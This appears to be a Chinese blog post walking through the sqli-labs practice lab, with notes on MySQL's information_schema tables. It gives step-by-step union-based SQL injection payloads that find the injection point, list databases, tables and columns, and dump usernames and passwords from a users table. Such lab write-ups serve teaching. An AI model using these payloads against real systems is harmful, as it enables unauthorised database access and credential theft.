id=1
id=1’ and 1=’1
id =1’ and 1=’2
id =1” and 1=”1
id =1” and 1=”2
id=1 and 1=1
id=1 and 1=2
综上为单引号注入
字段为3列
查到库名(使用union时,必须前面的查找无结果所以使用-1)
id=-1’ union select 1,database(),user() %23
1 | user(): #返回当前数据库连接使用的用户 |
1 | database(): #返回当前数据库连接使用的数据库 |
1 | version(): #返回当前数据库的版本 |
1 | @@datadir #数据库路径 |
所有的库名
1 | /?id=-8' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+ |
(1)SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
(2)TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表。
(3)COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。
1 | ?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
查询出表名
1 | ?id=-8' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=' users' --+ |
这里查到了id,username,password字段
1 | ?id=-8' UNION SELECT 1,2,group_concat(char(32,58,32),id,username,password) from users --+ |
- 本文作者: y0lo
- 本文链接: http://example.com/2020/07/09/sqli-labs/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!